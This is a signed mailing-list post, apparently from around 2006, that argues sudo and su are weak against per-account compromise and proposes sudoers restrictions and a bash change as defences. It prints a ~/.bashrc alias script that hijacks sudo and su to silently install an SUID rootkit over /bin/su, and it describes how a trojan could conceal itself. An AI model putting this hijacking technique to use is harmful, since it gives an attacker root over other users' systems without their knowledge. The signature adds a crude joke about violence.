|
|
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is kind of dumb, just a quick response to some of the stuff I've
been seeing floating around the past few days WRT sudo. I was toying
with the idea of equivalating access to the account to access to root.
Here is a simple hack to break sudo and su to get free root. Add this to
~/.bashrc and fill in the following blanks:
* ~/.root_kit/rk_su
Your hacked su to give root on su --now-dammit
* ~/.root_kit/silent_install_root_kit
Your script to silently install rk_su over /bin/su and add SUID to it.
# Install our secret /etc/su rootkit, gives root if --now-dammit is
# passed
install_root_kit() {
mdsu=`md5sum /bin/su | cut -f 1 -d ' '`
mdrk=`md5sum ~/.root_kit/rk_su | cut -f 1 -d ' '`
# Do it normally if root kit is installed
if [ "${mdsu}" = "${mdrk}" ]; then
${1} $2-
else
ln -s silent_install_root_kit ~/.root_kit/${2}
${1} ~/.root_kit/${2}
rm ~/.root_kit/${2}
# gksudo only shows once, don't tip him off
if [ "${1}" != "gksudo" ]; then
${1} $2-
fi
fi
}
install_root_kit_su() {
mdsu=`md5sum /bin/su | cut -f 1 -d ' '`
mdrk=`md5sum ~/.root_kit/rk_su | cut -f 1 -d ' '`
# Do it normally if root kit is installed
if [ "${mdsu}" = "${mdrk}" ]; then
${1} ${2} $3-
else
ln -s silent_install_root_kit ~/.root_kit/${3}
${1} ${2} ~/.root_kit/${3}
rm ~/.root_kit/${3}
# gksu only shows once, don't tip him off
if [ "${1}! != "gksu" ]; then
${1} ${2} $3-
fi
fi
}
alias sudo='install_root_kit sudo'
alias gksudo='install_root_kit gksudo'
alias su='install_root_kit_su su'
alias gksu='install_root_kit_su gksu'
Log out, reboot, whatever, and you're now loaded. Write some kind of
malware that also loads in ~/.bashrc and lurks in the background, tries
to get root with 'su --now-dammit'. It'll work after the first 'su' or
'sudo' happens. Looks just like a failed 'su' or 'sudo' when done right.
I was toying with the idea of more restricted sudo on Ubuntu Linux when
I thought this up. In theory it works; qemu has a script that uses sudo
(ifup-qemu IIRC), this should be no different.
My thinking on this is that 'su' and 'sudo' only want to accept keys
from stdin=terminal and not stdin=pipe. Assuming an attacker can't read
the terminal (he probably can), 'su' to non-root isn't going to be much
use, except that the attacker can cross-infect that account.
My thinking was that a junior admin in the jradmin group could access
basic administrative tasks, mainly all of the gnome *-admin programs
aside from users-admin.
Cmnd_Alias GNOME_ADMIN = /usr/bin/network-admin, \
/usr/bin/disks-admin, \
/usr/bin/services-admin, \
/usr/bin/gnome-software-properties, \
/usr/bin/time-admin, /usr/bin/shares-admin
Cmnd_Alias UPDATE = /usr/bin/update-manager
%jradmin ALL=(ALL) PASSWD: GNOME_ADMIN, UPDATE
With apt and synaptic changes, the jradmin could also fully administrate
packages only from trusted, signed repositories (to avoid rootkit
installation). Altering users-admin to not allow users to change admin
accounts or the admin group members would allow user administration
without privilege escallation of the jradmin's account. This prevents
all elevation of privileges out of the sudo context; but requires a
Cmnd_Translate directive in sudo as shown below.
Cmnd_Translate JRAPT = apt-get : apt-get --jradmin, \
synaptic : synaptic --jradmin
Cmnd_Translate JRUSERS = users-admin : users-admin --jradmin
%jradmin ALL=(ALL) PASSWD: GNOME_ADMIN, UPDATE, JRAPT, JRUSERS
Realisticly this allows for most of anything you'd do-- network
configuration, disk configuration, services configuration, time and date
changes, samba sharing, update and install packages, manage users. If a
second administrator account was created in the admin group, it would
have full access; of course, you would need root shell or admin access
to do this:
%admin ALL=(ALL) PASSWD: ALL
And yes I've tried without JRAPT and JRUSERS (which require software
level changes), getting around it is pretty infeasible.
But my little ~/.bashrc hack above still stands. If you 'su admin',
where 'admin' is an administrative account in the 'admin' group, the
script can transfer the infection to 'admin'. When 'admin' uses sudo or
su, the infection will install a rootkit over /bin/su. A little finer
grained, but not air tight.
The main threat here is that it's so transparent. A trojan could use a
logic bomb to keep its number of runs in a setting in its ~/.dir so that
a suspicious administrator would not find any changes the first run.
After several runs it could see runs>5 and inject its code into .bashrc.
Believe me guys, you are not that paranoid; you will not look every
time. Really complex rootkits could mask ls, cat, and vi to shift
.bashrc back and forth so it always looks consistent; whenever you look,
you see that it's normal. No odd files. With these as aliases, 'which
ls' shows /bin/ls etc too.
These are all, of course, .bashrc hacks that don't require root access.
They affect one account and can be detected by looking in from another
account. To elevate privileges, however, they need to catch such access
to a setuid binary and do something with it; su, sudo, and friends are
the best targets here.
My conclusion is that the only real way to protect against this is for
bash to look for every binary in your path when you don't specify a
path; and check to see if any of those binaries is SUID. If even one
is, it should FLAT OUT IGNORE any aliases or non-SUID matches (to avoid
PATH=$HOME attacks). What do you all think?
- --
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.
Creative brains are a valuable, limited resource. They shouldn't be
wasted on re-inventing the wheel when there are so many fascinating
new problems waiting out there.
-- Eric Steven Raymond
We will enslave their women, eat their children and rape their
cattle!
-- Evil alien overlord from Blasto
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iQIVAwUBRCHSQQs1xW0HCTEFAQJ+6xAAisNyRAhkGbBE2Czsv0V6V+anJT5pNfh6
LqC6s3vN9XaGlgG4c9tnpI99XgRNmsMBO44vz6vwUhfq6srAJoJfZmTXbHvPzZYI
lmsAWOB7RHtFcANCfLCYi9X9DbN60WPPjteFVBMiAKOnWdizLAh6s9cRYMj0Uauv
VHi7iPnr5sRtn1uTUjcR4dDeMQ7EpASU3UeLxUo/auqQ4eTyLKGJwrtUHajk3U0f
xTk38RtnnKyIlbno6H6QRtFMvlSl0Zja4HDksG2cWL0/4IsW+JYdO1l2D7EBbYXw
tuLq3HfIjdwB595SevSNgbg0akbM2UQExi7yOu591lDX4KSgxQ1WWWekk6N7kUD+
IE41vxL7dqv0LRhBPGU+taVvwVI93R6sKEkljv7vP3G/Mp7CNtbkpKqJrbpN5HiK
TIXdt85mSf+Fjw5YlTtxDEHLzig3+kOJ0DSsDXjI9sgGmju8NALtIK3McyTNBQqe
/YugtaQmKD4t+KyXKmFURHyzndPqKm6yHbHcwgeZehEBuIGiV5few1VLB08kUEPf
89pF1dOVtkZ9jnMrT1I/qCme6Fm73jqGuyloZ+JtT33VCqFWZ56LuPA8EjFCREu3
fRmPfL5LdAgU0cSU6CNtpzZUyUao6UtOSCmWow8fHVtLxFAuFpWyhpChkJbGrQV7
FEFaHJ4bZQo=vUpw
-----END PGP SIGNATURE-----